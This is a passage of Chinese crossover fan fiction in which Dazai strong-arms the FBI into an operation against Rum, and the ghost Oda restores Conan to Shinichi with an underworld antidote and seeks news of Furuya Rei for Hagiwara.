太宰治也在为代号努力奔波。 不过他选择从红方入手。 安吾那边肯定已经找到朗姆谈条件了,他的计划是联合坂口安吾,在对方从内部渗透情报组的同时,由他带领爱管闲事的FBI们在外发起冲锋。 然后他俩坐收渔翁之利,既处决朗姆,也惩治一番跨国执法的FBI。 到时候区区代号不是唾手可得。 太宰治猜测坂口安吾一定盘算着要在他之前获取代号。 哼。 他冷哼一声,论混/黑的手段,他才不会输给区区安吾! 工藤宅前,太宰治按下门铃。 屋内过了许久才传来人声,想必对方已经通过门外的监控看到了他,刚才的沉默也是在思考该如何应对不速之客。 “你好。” 房门被人打开,一位粉发青年从里面走出,今天天气不错,但对方却穿着高领毛衣,显然是想掩饰些什么。 “如果是找工藤先生的话,他和夫人两天前去夏威夷度假了。” 这些拙劣的伪装在看过坂口安吾关于赤井秀一的报告后跟小孩子的把戏没两样。 太宰治笑着走近对方:“我是来找你的。” 他压低声音,让语气听起来给人一种可怜无害的感觉:“难道你已经忘记我了吗?” 搭上对方骤然紧绷的肩膀,太宰治以一种调情的姿势靠在对方肩上,轻声道:“爱跟踪的FBI先生。” 赤井秀一的身高比织田作还要高一点,因此本想凑到对方耳边说话的太宰治只好退而求其次,选择靠在他肩上威胁。 刚说完,他搭在对方的肩上的手腕便被人一把攥紧。 披着“冲矢昴”伪装的赤井秀一抓着太宰治的手腕,淡笑着将人推着往屋内走。 “原来是这样啊,那请务必进来喝杯茶。” 这人和他的同伙带走了组织派往警察厅窃取卧底名单的库拉索,还在逃跑途中打爆了他的车胎。 在那之后,他从潜入组织的CIA卧底那里得知,库拉索已经被新任爱尔兰处决。 而且新任爱尔兰从横滨带了两个新人加入组织。 人数和行动都对上了。 赤井秀一进门后迅速将门反锁,随即将完全没打算反抗的太宰治铐起来押到书房。 “你们的目的是什么?” 眼前的黑发青年是爱尔兰手底下的人,但他似乎并不在意自己的身份,甚至还敢堂而皇之地孤身找上门来。 这一举动十分可疑。赤井秀一怀疑他们可能是横滨军警派来的人。 面对赤井秀一的质问,太宰治自顾自地坐到书桌上,将被铐起来的双手举起。 “这就是你们问话的态度吗?” “我还有更粗暴的手段,相信你不想体验。”赤井秀一直接威胁。 在未确定对方身份前,他是不会给这个冒失的家伙一点好脸色的。 “更粗暴的手段?”太宰治配合地露出害怕的神情,但下一秒他就沉下脸来,明明被铐着却像是此刻居于上风的人是他一样,“你觉得是你的拳头更快,还是情报传播更快呢?赤井先生。” “我可不是来谈条件的。”他打了个响指,手铐应声而落,掉在木质地板上发出清脆的声响。 “FBI的情报、与你相关的侦探们还有那位因你而死的小姐和她孤苦无依的妹妹。” 太宰治语气淡漠地列出赤井秀一的软肋,每说出一点便竖起一根手指,他露出恶劣的笑容,挑衅地看向赤井秀一:“试问我掌握着你这么多的秘密,最适合用来做点什么呢?” 虽然绑FBI去组织换代号的方案被安吾否决了,但没说他不能威胁FBI吧。 赤井秀一脸色沉了下来。 面前的黑发青年是在威胁他。 “不过先不要这么紧张嘛。”太宰治话锋一转,先前凝重的氛围在他的打岔下淡化了许多,“难道我看来起来很像是坏人吗?”他不满地说。 从书桌上站起来,他拿出一个通讯器。 “作为封口的代价,我只需要FBI的警官们配合我完成一项行动。“ 赤井秀一警惕地看向太宰治手里的通讯器。 他没错过对方话中提到的不仅是他,而是“ FBI的警官们”,这人的目的到底是什么? 而太宰治接下来的发言,更是让他陷入震惊之中,且久久无法平息内心翻涌复杂的情绪。 “朗姆你知道吧,情报由我们这边提供,诸位警官只需要配合我们采取一些行动即可。” 说完,太宰治期待地看向赤井秀一。 可这位身经百战的FBI王牌搜查官似乎陷入了短暂的迷茫。 哪有人请求合作的方式是先威胁再提要求的啊。 朗姆不是组织的二把手吗?这些人到底是哪一边的啊。 而且朗姆的情报是这么容易获取的吗?真实性确认过了吗? 他有太多问题想要提问,但太宰治捕捉到了他的质疑,于是再次变回刚才那副不近人情的可怕模样,沉着脸道。 “这不是请求,是命令。”说话间,他像古堡里走出的残暴统治者,要是再加上件披风就可以直接cos吸血鬼的那种。 “你也不想这么多无辜的人被组织列入清理名单吧,赤井探员。” ———————— !!———————— 安吾,被吐槽役耽误的谍战高手[墨镜] 太宰(威胁)(恐吓)(诱导):我没把你绑到琴酒面前换代号已经很仁慈了[狗头] 差点被透子揭穿身份,又被太宰贴脸开大的赤老师: ber ,日本警方都是这么不折手段的吗? [小丑] 第57章 【有的鬼生来就对情绪有独特的感知,他仿佛是神明为化解世间悲伤而创造的独特灵魂。 】 “织田老师~” 萩原研二接到了鬼灯的特别调令,临时到现世出差一周协助织田作之助完成任务。 他的笑容和煦又温暖,举手投足间轻松拉近了和织田作的距离。 因为他不像织田作那样需要长期外派,于是这一周内他只能用魂体出现,只有彼世的狱卒才能看见他。 轻飘飘的魂体落在织田作身边,他双手揣在和服的袖子里,紫罗兰一般的眼眸任谁看了都会不由自主的沉醉其中。 从白泽大人那里听说了织田作之助的鸽子属性,担心一见面就打听创作进度会令老师反感,他主动将话题转到黑衣组织的邪恶研究上。 “白泽大人研制出了针对APTX的临时解药,足以让中毒者恢复服药前的身体一周左右。” “只有一周吗?” 织田作惊讶于组织的研究竟如此可怕,连白泽大人都没能研制出彻底的解药。 萩原研二解释道:“因为缺少一味最关键的药材,具体是什么白泽大人没说,但他已经动身去寻找了,所以现在只能用鬼灯大人友情提供的替代品熬制解药。” “毕竟返老还童的故事只在神话里出现过,说起来那个组织还真是厉害呢,连这种禁药都能研制出来。” 他说话时脸上带着淡淡的笑容,但熟悉他的都知道,这是他生气的表现。 当萩原研二得知那个组织用活人试药时,他便有些抑制不住内心的怒意。 将装有临时解药的小葫芦放到织田作手上,萩原研二说:“这里面一共有5粒药,现在都交给织田老师啦。” 织田作好奇询问:“我能知道鬼灯大人用了什么来代替那味关键药材吗?” 之所以这样问,一方面是出于好奇,另一方面则是因为他偶然见过鬼灯熬制药材。 虽然最后都会变成一粒漆黑的药丸或是看不出成分的黑水,但在见到鬼灯往熬药的大锅里加恶魔的眼珠、杀人犯的鬼魂、毒蛛、癌变的肺和阿鼻地狱的泥土等等奇怪的东西后,织田作暗自下定决心,绝对不能喝鬼灯大人熬的药。 听到他的问题,萩原研二朝他狡黠一笑:“貌似是,穷尽一生研究如何让自己拥有正常身体、甚至不惜走上犯罪道路的侏儒鬼的怨念。” 好长的前缀。 织田作默默将解药放进口袋。 他都有些同情那些组织的受害者了。 “关于组织的受害者,我这边已经找到了一些线索。” 这一切都要归功于坂口安吾,他根据从赤井秀一头发上读取到的记忆,挖出了一连串的关联者。 其中,有两个人非常不一般。 织田作什至见过他们,就是少年侦探团的柯南和灰原。 接触他们的任务本来可以让太宰治一并解决的,但考虑到织田作和小孩子的相处经验更丰富,在坂口安吾的强烈要求下,这个任务落到织田作这里。 当时安吾的原话是:织田作先生你好好想想芥川在太宰手下被教成了什么样子,他明显不适合这种需要安抚儿童心理的工作。 然后太宰的回答是:任务对象到底是不是儿童还有待商榷,不过我也不想被当成森先生那样的特殊爱好者被抓起来,既然这样的话那就交给织田作好了。 “不愧是织田老师。”萩原研二恭维道,“那我们接下来的任务就是联络受害者吗?” “嗯……”织田作顿了顿,然后语气诚恳地说:“还需要你帮个忙。” 萩原研二当即表示没问题:“那真是我的荣幸。” “不过连织田老师都觉得棘手的话,能先和我说说大概需要做些什么吗?” 织田作一脸平静:“在我激怒他人前提醒我该如何和谐地与人类相处。” 他自认为是个性格开朗的鬼,但不知道为什么,在和人类相处的过程中,对方总会对他的某些回答露出奇怪的反应。 特别是安室先生。 是对他有什么误解吗?还是他说错了什么? 善解人意的萩原研二点了点头。 他没有因为织田作这奇怪的请求而暗自取笑对方,能在一众狱卒中得到鬼灯辅佐官的青睐,足以说明对方的灵魂得到了地府的认可。 只是不善交际而已。 萩原研二觉得这根本不是问题。 “织田老师是担心在接下来和受害者的沟通上出现问题吗?” “不是。”织田作简单组织了下语言,解释道:“有几位…警官,他们对我的工作方式存在误解,我希望能在下次联络的时候化解这些矛盾。” 安室透看他的眼神就像是在看鲁莽大意的后辈,但织田作自认为在这段时间里,他执行任务期间从未出现任何纰漏,唯一算得上失误的就是他那朴实的伪装手法。 虽然能理解对方想通过说教和批评的方式帮他规避风险,但那些对织田作来说都只是浪费时间。 所以他想趁萩原研二在的时候帮忙解决这个困扰。 其实这种社交上的问题,太宰和安吾都很擅长。 但织田作的第六感告诉他,让友人们来帮忙的话,说不定会发生更大的乱子。 “我明白了。”萩原研二右手食指和中指并拢,轻点额角,做了个“了解”的手势,“交给我吧。” 他猜测矛盾的主要原因可能是织田老师为了保密隐瞒了部分情报,导致警方以为他不配合工作。 这对研二酱来说就是小菜一碟。 “那真是帮大忙了。”织田作感谢道。 随后,织田作带着萩原研二来到米花町二丁目,驻足在一栋门牌上标注着“阿笠”的别墅外。 在织田作按响门铃后,萩原研二借助魂体的优势率先飘进屋内查看了一番。 在发现里面除了一位老人外,其他全是看起来刚上小学的孩子后,他数了数人数。 刚好五个人。 正对应他带来的五粒解药。 心想不愧是无所不知的神兽白泽,连这一点都算到了。 正当他仔细观察几位“受害者”时,他看了一个熟悉的面孔。 落到沙发前专注于新闻报道的江户川柯南面前,萩原研二半蹲下身。 没记错的话,他在警校时期就见过和面前的小孩子长得几乎一模一样的少年。 那时对方因为踢球时不小心踢坏了水管,手忙脚乱地想要补救,却一直没找到合适的工具,反而被溅了一身的水。 没记错的话,那位少年的名字叫——工藤新一。 “柯南,可以帮我开下门吗?” 阿笠博士忙着修理侦探道具,只好请求江户川柯南帮忙开门。 听到博士的请求,江户川柯南无奈吐槽:“博士你又在网上购买什么东西了吗?” 这样说着,他起身朝门口走去。 萩原研二跟在他的身后,将“柯南”这个名字暗暗记下。 来到门口,见来人竟是织田作,江户川柯南警惕地朝四周看了看。 “小…织田叔叔?” 他怎么会找到这里来?他来这里干什么? “柯南,我有几个问题想问你和灰原。”织田作直入主题。 “问我和灰原?” 江户川柯南重复了一遍,此时他看向织田作的眼神已经满是警惕和戒备。 一旁,萩原研二赶紧在织田作耳边提醒:“这样太直接啦,织田老师。” “要更委婉一点,先获取他们的信任才行。” 更委婉? 织田作想了想,说道:“不请我进去坐坐吗?” 江户川柯南:“……” 萩原研二:“……”他好像明白织田老师被误解的原因了。 最终织田作还是被请进屋内了。 因为他被少年侦探团的其他人看到了,此处特指步美、元太和光彦。 热情的小侦探们呼啦一下冲到他身边,簇拥着他往屋内走。 看着孩子气的侦探团成员,萩原研二开始思考APTX是否会将成年人的心智也幼年化。 但看另一边的柯南和灰原就十分稳重,甚至还趁着织田老师转身的间隙交流了什么。 “织田哥哥是来找博士的吗?”步美给织田作倒了杯果汁,趴在他身边好奇道。 “多谢,我是来找柯南和灰原的。”织田作如实回答。 看着步美脸上天真烂漫的笑容,他下意识地伸出手摸了摸对方的脑袋,放缓语气:“所以能让我们三个单独聊聊天吗?小侦探们。” “你的委托我们少年侦探团就接下了。”光彦显然很满意织田作那句“小侦探”,因为多数大人都会把他们的行动当成幼稚的侦探游戏,像织田作这样的少数自然值得他们的尊重。 于是织田作和两位APTX受害者得到了一间书房用于交谈。 在这期间,别墅的真正房主阿笠博士只是朝织田作打了个招呼。 原来只有两个人。跟着进入房间的萩原研二恍然大悟。 看着织田作和步美三人打过招呼后将门关上,他发现织田作的社交技能似乎都点在和小孩子交流上了。 “在提问之前,我先自我介绍一下吧。” 谨记萩原研二的要委婉一点,织田作没有一上来就问他们和组织的关系,而是先袒露身份让对方放心。 “我叫织田作之助,目前隶属警视厅,在组织的代号叫爱尔兰。” 听到“爱尔兰”,灰原哀突然往后缩了缩,而她身边的江户川柯南则是露出了“我就知道”的表情。 “现在正在调查APTX的研究。” 织田作没有坐在椅子上,而是走到两人身前蹲下身,将对话保持在双方皆能平视对方的角度。 “有几个问题想问你们。” 从织田作的动作中看出他示好的态度,江户川柯南挡住灰原哀,主动站出来说:“问我就好了。” 按理说他不该轻信对方,但侦探的第六感并没有向他示警。 加上见到过织田作和公安一起行动的场景,江户川柯南决定冒险试一试。 “你们变成现在这样后,身边经常发生命案吗?” 织田作的第一个问题打得现场两人一鬼措手不及。 萩原研二不知道的是,织田作的任务除了粉碎组织的秘密研究,还要找出现世那位受APTX药效影响被转化为死神的受害者,进而想办法限制对方的无意识收割行为。 根据安吾的报告,他觉得江户川柯南的嫌疑很大。 “也没有很经常吧。”江户川柯南不自信地否认道。 在他身后,灰原哀幽幽地开口:“你的不经常是指走路遇到坠楼、吃饭遇上毒杀、露营撞到杀人犯,连坐公交都能被炸弹犯挟持吗?” 江户川柯南顿时有些尴尬:“哈哈,是这样吗?” 看着无奈挠头的江户川柯南,织田作点头表示他知道了。 他立即拿出手机编辑信息发送给鬼灯。 发现疑似死神一名,请您立即前来确认。 然后织田作收起手机,继续先前的提问:“能告诉我你们在服下APTX之前各自的身份吗?” 回应他的是两人长久的沉默。 思考许久,江户川柯南看向织田作之助:“在回答之前,我想请问织田叔叔是站在什么立场问这个问题的?” 在这之前,他和灰原哀从来没有像今天这样开诚布公地和警方进行过交流。 一方面是为了保护自己,另一方面也是因为尽管都站在组织的对立面,但红方鲜少交流各自的情报。 公安的安室先生和FBI的赤井先生甚至一见面就打架。 如果对方只是想从他们这里获取情报的话,江户川柯南是不会轻易回答这个问题的。 他需要的是对等的情报共享,而不是单方面的给出情报。 什么立场? 织田作不理解江户川柯南为什么会问这样的问题。 “难道柯南不认为我们是合作者吗?” 合作者。 江户川柯南对这样的回答十分满意。 他清了清嗓子,准备好好回答下织田作的问题时,眼前突然一黑,紧接着在他耳边响起了一道宛如鬼泣的低沉声音。 “织田干得不错,你成功找到了现世的死神。” 他意识到自己貌似是被斗篷一样的布料盖住了头,正当他准备掀开斗篷时,后者自动离开了。 然后他看到了非常不科学的一幕。 自己被一件黑色的披风裹得死死的,此刻正悬浮在离地一米的空中。 灰原哀貌似被突然发生的一幕吓坏了,织田作将她抱在怀里安慰。 一个陌生的青年男人正站在他的面前,青白色的手中拿着一个奇怪的、正在发光的珠子放在他身边,像是在检测什么。 顺带一提,这个男人头上还长着一根鬼角。 “死神?”江户川柯南语气僵硬地问道,就目前的形势来看,房间内符合条件的貌似就是他自己。 毕竟只有他被控制起来了不是吗。 开什么玩笑啊? 他怎么可能是死神呢! ? ———————— !!———————— 小柯(茫然)(疑惑)(难以置信):我怎么会是死神呢! [害怕] 第58章 【人类对死亡大多持逃避态度,但总有例外。 生性乐观、一往无前的人,只会把死亡当作人生必经的某个站点。 他们会在此处片刻驻足,继而再次踏上新的征程。 魅魔便是如此。 】 “死神!我?” 江户川柯南指着自己难以置信道。 经过鬼灯的检测,这已经是板上钉钉的事实,于是在场的一人三鬼都没有要回答他这疑问的打算。 “抱歉,吓到你了吗?”织田作正低头询问因为鬼灯的气场陷入恐惧的灰原哀。 他从一旁的凳子上取下阿笠博士忘记收走的大衣,将灰原哀裹在里面。 “别害怕,我们不会伤害你们。” 在织田作的轻声安抚下,灰原哀的身体渐渐停止了下意识地颤抖。 她抓紧织田作胸前的衬衣,缓慢地询问道:“你们到底是什么?” 站在科学家的角度,她不认为当前发生的现象是能用科学来解释的。 加上突然出现的那位一张口就给江户川柯南扣了个“死神”的身份,这几个……是人类吗? “我们是来处理未登记死神的专业人士。” 在萩原研二的偷偷指导下,织田作这样回答道。 “你们要带走江户川吗?”灰原哀问。 “江户川?”织田作后知后觉地意识到对方指的是被绑起来的柯南。 不过此刻并不是思考对方和江户川乱步的关系的时候,他看了眼鬼灯,后者正拿着一本被黑雾围绕的书籍翻看。 “如果他寿数未尽的话,我们不会带走他。”暂时不便打扰正忙的鬼灯大人,织田作只好给了个模棱两可的回答。 好在鬼灯也翻完了对未登记死神的处理指导手册。 他看向满脸写着不安的江户川柯南:“你属于人为制造的死神,我们要收回你的权能。” “失去死神光环的你将不会再对外界造成任何负面影响。” “但是,因为你在无意间影响了现世的生死,你需要将功抵过,在死亡到来之前尽你所能拯救更多的性命。” 鬼灯宣读着对江户川柯南的宣判,狭长的鬼眼注视着因宣判内容而垂下头的小侦探。 “你是否接受?” 在听到有无辜的人因为自己身上那莫名的死神光环而丧命时,江户川柯南内心的懊悔大过恐惧。 他只知道破案是侦探的天职,但没想到自己竟成为了罪恶的诱因。 从成为侦探以来,他参与过的案子数不胜数。 如果那些受害者都是因为他而死…… 厚重的负罪感袭来,几乎将他压垮。 他根本抬不起头,只能回答道:“接受。” “织田,把药拿过来。” “是这个吗?”织田作安抚好灰原哀,起身将装有APTX解药的小葫芦交给鬼灯。 “嗯。”鬼灯接过小葫芦,拧开盖子,倒出一粒仿佛有怨灵居住其中的漆黑药丸递给江户川柯南:“吃掉它。” 江户川柯南接过药,看也不看就吞了下去。 他想,如果这样能够赎罪的话,就算是毒药也…… 药丸放入口中的瞬间便化成一股清甜的液体滑下,紧接着,他感觉到体内一股热流涌动。 身体急速升温,每一块骨骼和肌肉都传来不妙的拉扯感。 江户川柯南不敢相信地感知着身体正经历的变化。 将他束缚住的斗篷不知何时松开了他。 骤然拔高的视线,再次变得修长有力的四肢,以及崩裂的衣服,都在提醒他,他变回了工藤新一。 恢复后,他做的第一件事是拿了本书挡住重点部位。 废话,柯南的衣服都被撑坏了,现在他身上只有几片摇摇欲坠的布料,房间内可还有女士在呢。 “这……”工藤新一迟疑地看向织田作。 “由我来解释吧。”鬼灯开口,“APTX逆转了你的生死,侦探的执念和你对组织那复杂且强烈的情感,让你对身边的生者造成一定的影响,变成了死亡的催化剂,因而让你成为了现世行走的死神。” “因此只要解除APTX的药效,你身上的死神权能便会自动消失。” 意识到成为死神是因为组织的邪恶研究,工藤新一心里稍感宽慰。 还好他不是一生下来就是死神。 但照这样说的话,研制出APTX的灰原也太厉害了吧。 “但是,”鬼灯提醒:“这个解药只是半成品,服下后只能保持一周。” “一周后你必须再次服下解药,目前解药加上你刚刚吃掉的只有五颗,我们会赶在这些药消耗完之前研制出能彻底解决这一问题的解药,期间若有不适直接联系织田。” 说完,鬼灯便化作一缕青烟消失在原地。 他身为阎魔大王麾下第一辅佐官,需要他亲自过问的工作可不止这一件,于是确认没问题后立即返回了地府。 “竟然有一周!”鬼灯走后,工藤新一表现得很兴奋。 可灰原哀就没那么乐观了,她走到工藤新一面前:“你别忘了工藤新一在组织那边已经是死人了,接下来你准备怎么避开组织的眼线呢?” “不过这个解药除了有时限外竟没有任何副作用,织田先生,我能研究一下吗?”科学家的天性让灰原哀对织田作手里的解药产生了兴趣。 织田作:“如果你们能保存好解药的话,我倒是不介意。” “但是,如果用科学的手段进行研究的话,我建议还是不要浪费时间了。” 灰原哀:“嗯?” “因为科技是无法探测到侏儒鬼的怨念的。” “……” “等等,织田先生,你的意思难道是……” 工藤新一突然笑不出来,他捂着嘴,一副想要呕吐的样子。 难道刚才吃下去的药丸里,有鬼的怨念! ? “言归正传,如果工藤君不能被组织发现的话,那直接加入组织怎么样呢?” 并没有把工藤新一因解药成分而陷入恐慌的状态放在心上,织田作进入到下一个话题。 “加入组织?”灰原哀对这一提议表示了反对意见,“那个组织不会这么轻易地接纳工藤的。” “更何况,他还是被…琴酒亲手灌下的毒药。” 提到这个光是念出来都让她战栗不安的名字,灰原哀闭上眼睛,无助地摇了摇头,“琴酒不会让他加入的。” 织田作完全不认为这算是个事,他更在意的点是灰原哀竟然知道琴酒。 “你是雪莉?”他直接问道。 闻言,灰原哀抬起头:“对。” “那你暂时不能吃这个解药。”织田作看出对方眼底深深的绝望,他仍是那副平静的模样。 组织可以接受侦探的加入,但绝对不会接受一个叛逃过且掌握着关键数据的代号成员。 “等等,织田先生你的意思是可以介绍我加入组织吗?”被两人忽略的工藤新一申请加入对话。 “嗯。” 只要扳倒朗姆,再和太宰一起扶持安吾稳坐情报组第一交椅,届时以他们的权力,再加一个人进组织不成问题。 照他们现在的进度下去,或许在白泽大人他们研制出真正的解药之时,组织也差不多快覆灭了吧。 织田作看着满脸期待的工藤新一:“不过要等一两天,等我们把朗姆干掉。” 灰原哀:“……” 工藤新一:“……” 什么? 他说要把谁干掉? 没听错吧? 旁观了全程的萩原研二:哈哈,原来织田老师是天然黑的属性。 “请带上我!”工藤新一郑重请求。 “不可以,这很危险。”织田作拒绝。 “这是我一生的请求!” “抱歉,我不会把孩子带上战场。” “织田先生!织田叔叔!织田哥哥!” “……” “与其考虑这些,你不如好好思考下待会怎么和孩子们解释江户川柯南去哪了。”灰原哀语气平静,却实打实地给了工藤新一当头一棒。 “糟糕!” 伴随着工藤新一话音落下,步美他们的声音从门外传来。 “柯南他们和织田叔叔在房间里也待得太久了吧。” “干脆趁着送果汁的机会去看看他们到底在干什么!” “赞成!” 房间内几人陷入无助的沉默之中。 最后是靠谱的灰原哀帮忙解了围。 她抢先一步开了门,让织田作跟在身后挡住孩子们看向屋内的视线。 “织田叔叔要离开了,步美你们能帮忙送送他吗?” “诶,可是我们都没有和织田叔叔一起玩。” “抱歉,因为突然接到了工作通知。”织田作蹲下身,摸了摸步美的脑袋。 “那也没办法了,我们一起去送织田叔叔吧。” 就这样,织田作在孩子们的簇拥下离开了,而工藤新一则是披着阿笠博士的大衣躲在桌子下面,等阿笠博士去他家里帮忙拿衣服过来。 —— “织田老师很受孩子们的欢迎呢。” 离开的路上,萩原研二突然感叹道。 织田作:“大概是因为孩子们更喜欢这种直来直往的交流方式。” 孩子的世界里非黑即白,才会对成年人一些摩棱两可的回答感到迷惑。 “那我们接下来去哪里呢?” “我带你去看看我的朋友们吧。” 织田作这样说着,找了条无人的小巷,在里面魂体话后和萩原研二一同飘向远方。 被织田作惦记着的友人们都在忙着各自的事情。 坂口安吾这边刚躲过一波狙击,利用视线盲区从烟囱里逃了出来。 他动作熟练地拆解了一把手枪,取出卡在枪管里的窃听器丢回到烟囱里。 接着从外套内的夹层里拿出两个手/榴/弹,他仔细听着窃听器里传回的声响,确认时机成熟后拉开保险,将手/榴/弹也丢进烟囱。 伴随着爆炸,大量黑烟从烟囱里冒出,借着这一掩护,坂口安吾灵活地攀着外墙来到地面,掀起一处不起眼的井盖,从下水道离开了。 丝毫看不出被人追杀的狼狈,反而给人一种游刃有余的从容。 目睹了这一切的萩原研二:“……” 织田前辈的朋友好厉害,简直就是007里面的超级特工。 确认完坂口安吾暂时没有遇到危险后,织田作又带着萩原研二来到太宰治和FBI的临时据点。 一众联邦搜查官中,太宰治端坐在中心的主位,手里拿着好几份资料。 “这个已经过时了。” 他说着丢掉一份。 “这明显是组织放出来的烟雾弹。” 又有一份被丢进垃圾桶。 “你们的接头暗号确认不改改吗?” 一份被丢到桌上。 最后他手里只剩下一份资料,太宰治视线扫过面前一群敢怒不敢言的FBI探员:“我说的哪里不对吗?” “无所不能的FBI们,要不是你们盲目冒进的行动,我们也不会被动到这个地步。” “说起来还真是得感谢你们呢,多亏各位的努力,行动的进度直接倒退了一半。” 说完,他独自鼓起掌来,丝毫不顾其他人脸上或青或白的尴尬神色。 毕竟是太宰治提前发现了组织设下的陷阱,才让他们的人逃过一劫。这场建立在威胁之上的合作,意外地解救了好几位搜查官的性命。 从而让太宰治在众人眼中的形象从“邪恶危险的日本警方”变成了“毒舌但聪慧敏锐的合作伙伴”。 看着FBI在太宰治的指挥下兢兢业业地完成任务,织田作放心了。 但萩原研二震惊了。 他简直不敢相信自己的眼睛。 织田前辈的朋友竟然能指挥一群FBI! 那可是全世界范围内都傲慢霸道、独断专行的FBI! 斯国一! ———————— !!———————— 研二酱大开眼界[666] 恭喜宰宰从语言霸凌一个人进化到霸凌一群人[狗头叼玫瑰] 第59章 【职业并不能体现一个人高尚与否。 魅魔曾和我提起,关于他生前的职业。 成为警察,只是因为年幼时家里遭遇破产,过了好长一段时间穷困拮据的生活,才让他选择了不会有失业危机的警察。 在我看来,这样的理由不存在任何问题。 试问活在世上的人中,有谁不是为了更好的生活在拼命挣扎着呢。 成为警察的原因并不重要,毕竟有人甚至是为了揍警视总监一顿才考的警校呢。 重要的是他如何履行这份职责。 而魅魔已经用行动做出了最好的回答。 】 “织田老师的朋友们真是厉害呢。” 看过坂口安吾和太宰治的精彩操作后,萩原研二发自内心的感叹道。 飘在萩原研二身边,织田作笑道:“他们现在都在各自的领域做出了不得了的成绩呢。” 这四年里,安吾在异能特务科连连晋升,已经不是最初那个默默无闻的情报官了。 太宰也加入了救人的一方,虽然其他人对他的褒贬不一,但在织田作看来,太宰肯定也是受人尊敬和信赖的名侦探。 看到他们都没有被过去困在原地,而是积极地向前奔跑着。织田作不得不承认,他内心松了很大一口气。 当然他并不认为那两个人会被一些挫折困住,但一想到他死前看到太宰露出那样悲伤绝望的表情,织田作难免为此感到担忧。 太宰是个很聪明的孩子,聪明到超出了常人所能理解的范畴。 这对一个孩子来说不算是上天的恩赐,更像是一种诅咒。 想到这里,织田作深深地呼出一口气,随机露出轻松惬意的笑:“多亏这次出差,让我有机会再见他们一面。” “是啊。”萩原研二脸上也露出缅怀的神色,像是在回忆什么美好的片段。 见他这样,织田作想着距离他们计划的讨伐朗姆作战还有一段时间,于是提议:“要去看看生前的亲友吗?” “如果可以的话,那真是感激不尽。”萩原研二的眼睛瞬间亮了起来。 他想见的几个人都是警察,要找起来很容易。 首先距离最近的是他在警校时期的班长——伊达航。 不过他们飘遍了警视厅都没找到伊达航的影子,找到最后,织田作不得不动用了他在警视厅的人脉,却得知伊达航已经殉职。 萩原研二的眼睛黯淡了一瞬。 不过他很快调整过来,朝织田作笑着说:“没关系,说不定等我回到地府就能见到班长了。” 正好小阵平和小诸伏也在,到时候四个人一起聚一聚吧。 于是两人更改目标,开始寻找一位名叫降谷零的警官。 但仍然没找到,就算织田作询问了警视总监,也查无此人。 萩原研二的眼睛越发黯淡。 很快他想到了什么,拉住织田作翻通讯录的手。 “织田老师,我想零他或许不在警视厅。” 降谷零在毕业后不久便没了消息,他猜测应该是加入了公安正在进行什么秘密任务。 不在警视厅? 织田作恍然大悟,然后立即翻出安室透的电话号码,安慰道:“我明白了,正好我在警察厅那边也有认识的人,等我问一下。” 想到安室透那爱说教的性格,织田作犹豫片刻,最终选择编辑短信发给对方。 抱歉打扰了,请问安室先生认识降谷零警官吗? 另一边,已经回归波本身份的安室透正在琴酒的安排下处理组织的卧底,察觉到手机震动,他避开搭档的贝尔摩德走到背光处。 看到发信人是织田作,他先是做了个深呼吸放缓心态,然后才点开消息。 但他还是在看到消息内容后瞳孔紧缩。 什么意思? 织田作为什么突然调查降谷零? 他难道不知道我就是降谷零吗? 沉默了近一分钟,安室透才想起来从互相表明身份那时起,他似乎一直没和织田作说过自己的真实姓名。 但对方为什么突然对降谷零感兴趣了? 他陷入沉思。 回到织田作这边,两鬼盯着空荡荡的聊天框,都过去五分钟多了还没有回复。 可对方那边明明显示已查收消息。 没想到会遇上已读不回的情况。 织田作看了眼萩原研二,忍不住为安室透解释道:“他可能在忙。” 白天在咖啡店打工,晚上是黑衣组织的波本,空闲时间还要当公安守护和平。 他都怀疑安室透已经把睡眠进化掉了。 萩原研二表示理解,正想说不着急时,对方的消息发过来了。 你在哪里? 这是要见面谈的意思。 织田作刚要为此感到苦恼,但他一看到身边的萩原研二,瞬间就有了底气。 这里可是有一位社交专家在呢。 他信心十足地回复了个地址,然后同萩原研二说道:“安室先生那里应该有你朋友的消息。” “那真是太好了。” “不过……”织田作坦言:“在沟通上,我和这位安室先生……” 根本不用他说完,萩原研二就比了个了解的手势。 “交给我吧。” 他猜测,这位被织田老师看作洪水猛兽的安室警官或许是那种刚正不阿、较真固执的性格。 将“安室透”的形象想象成警校时期的鬼冢教官,萩原研二觉得这简直是小菜一碟。 会合点在一座桥下,阴暗潮湿的桥底长满了苔藓。 织田作和萩原研二到的比安室透早。 等待的间隙,织田作好奇地向萩原研二询问“降谷零”是个什么样的人。 “很有正义感,在学校那会科科都是第一,有时候认真得可爱。” “还很容易害羞,被女同学搭讪的话会脸红。” “是嘴上说着不能违反校规,实际上又会跟着大家一起乱来的家伙。” 一个阳光正直、沉稳可爱的人物形象出现在织田作脑海中。 正聊着“降谷零”,安室透到了。 “是谁让你调查降谷零?” 低沉严肃的声音在织田作身后响起,回头一看,正是阴沉着脸的安室透。 在这关键的时刻,萩原研二不知为何突然宕机了。 织田作只好自己回答:“一个……同事。” “同事?” 安室透一步步逼近,熟练地打开屏蔽器,“姓名、警号、部门、原因。” 说完,他做了个请说的手势,示意织田作回答。 织田作:“……” 这时,萩原研二终于回过神来,他笑弯了眼睛,凑到织田作耳边。 “织田老师,就说是一位殉职同事的遗愿好了。” 看到那张熟悉的面孔,他难免需要点时间来反应。 将安室透和降谷零划上等号,萩原研二暗自偷笑,没想到工作的零变得这么严肃。 既然零是织田老师在现世的协助者,适当地透露一点情报应该没关系吧。 一朵樱花有五片花瓣。 曾经的鬼冢班五人组却只剩下了零一个。 注意到安室透眼底淡淡的青黑,萩原研二飘到他面前,有些难过地想到。 这些年,零一个人过得很不容易吧。 “是一位殉职同事的遗愿。”织田作照着萩原研二的话说。 安室透的眉头皱得更深了。 警方这边知道“降谷零”身份的除了“零”组的部分成员和黑田管理官,剩下的就是他的几位同期。 很地狱笑话的是,四个人都殉职了。 “他的名字。”安室透又重复了一遍。 他的心里不受控制地生出一丝小小的期待。 织田作不可能是突然想起来完成某人的遗愿调查“降谷零”,他很有可能是刚接到这个任务。 而已经殉职的人是无法向生者发布任务的。 所以,这位殉职的同事,或许还活着,只是通过假死暂时隐藏了起来。 会是景光吗? 萩原研二指导:“现在不便告知你相关情况,那位只希望了解降谷警官近来是否一切安好。” 织田作依葫芦画瓢将萩原研二的话转达给安室透。 只希望了解降谷警官近来是否一切安好。 安室透反复回味着这句话。 一股暖流涌上心头。 他看向织田作的眼神不再像之前那样满是审视和批评,甚至变得有温度起来。 “我明白了,那位…殉职的警官还好吗?” 织田作看向安室透的视线变得复杂。 